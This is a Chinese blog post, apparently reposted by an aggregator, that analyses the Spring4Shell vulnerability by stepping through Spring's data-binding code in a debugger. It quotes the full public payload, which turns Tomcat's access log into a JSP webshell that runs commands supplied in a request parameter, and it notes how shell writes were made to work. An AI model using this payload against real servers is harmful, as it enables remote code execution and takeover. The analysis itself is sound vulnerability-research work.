记一次Spring4shell漏洞分析
Posted 404.Sunflower
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次Spring4shell漏洞分析相关的知识,希望对你有一定的参考价值。
漏洞条件
1.Tomcat war包部署
Tomcat 9.60<=(Tomcat9.61已打补丁)
1.Web应用以war包部署到Tomcat中时使用到ParallelWebappClassLoader
2.而以jar包部署的classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader
,其源代码里面没有getResources()方法
2.JDK>=9
直接调用class.classLoader
已经被过滤,而JDK9版本支持模块化,基于内省获取Module对象,使其能够调用到getModule()方法,形成新利用链:class.module.classLoader
从而绕过过滤
3.Tomcat部署
知识的准备
1.SpringBoot
spring4shell漏洞主要是因为参数绑定,假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:
Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意这里为set
SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)
。
2.Java Bean PropertyDescriptor
PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。
3.Spring BeanWrapperImpl
在Spring中,BeanWrapper接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。
BeanWrapperImpl类是BeanWrapper接口的默认实现,BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象,BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor
。
4.Tomcat AccessLogValve 和 access_log
Tomcat的Valve用于处理请求和响应,通过组合了多个Valve的Pipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:
下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。
通过利用链反推
已知Spring4shell的公开利用链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
可以推断出:
xxx.getClass()
java.lang.Class.getModule()
......
SomeClass.setPattern()
那么SomeClass到底有哪些?接下来通过debug进行分析。
复现分析
1.首先在WebDataBinder.java的第198行打上断点
(因为前面已经说过:SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)
)
2.传入利用链,断点发现已经有参数传进来了,传入的参数为mpvs
3.在doBind方法中,重点关注applyPropertyValues()
4.通过调试,进入到该函数的内部
5.紧跟着setPropertyValues
的实现进入AbstractPropertyAccessor.java
,再经过一系列的调用逻辑后(这里忘了进的是哪个函数了),来到AbstractNestablePropertyAccessor
第814行
6.getPropertyAccessorForPropertyPath通过调用自身,实现对链的递归解析
7.在getPropertyAccessorForPropertyPath()
方法中,具体实现调用到java.lang.Class的代码为:getNestedPropertyAccessor(nestedProperty)
[代码第820行]
8.分析该函数内部实现:通过一系列调用到BeanWrapperImpl.java
:230行代码
getPropertyDescriptor(propertyName)
propertyName为传入的名称,此处传入
9.继续分析getPropertyDescriptor(propertyName)
方法内部(CachedIntrospectionResults.java:391行)
调试了一下,继续跟踪this.propertyDescriptors.get(name)
方法
10.最终发现this.propertyDescriptars.get(name)
就是通过反射调用到了对应User的父类java.lang.Object.getClass(),获得返回java.lang.Class实例。
11.经过一轮迭代,接下来依次按照此思路分析即可。
User.getClass()
java.lang.Class.get???() // 下一轮迭代实现
payload中的%xxxi,通过翻阅access_log资料可知:%xxxi为传入header中的值
绕过思路
1.利用静态代码分析,分析三方包解决第一个限制
2.利用类型混淆漏洞解决第二个限制
遇到的问题
1、写shell入ROOT目录,打不开ROOT目录显示404,解决方法:写入manager目录
2、使用原生态tomcat部署,可以写入shell,使用idea部署写shell写进了CATALINA_BASE目录,而CATALINA_BASE存在于其他盘。解决方法,设置传递环境变量:参考连接
以上是关于记一次Spring4shell漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章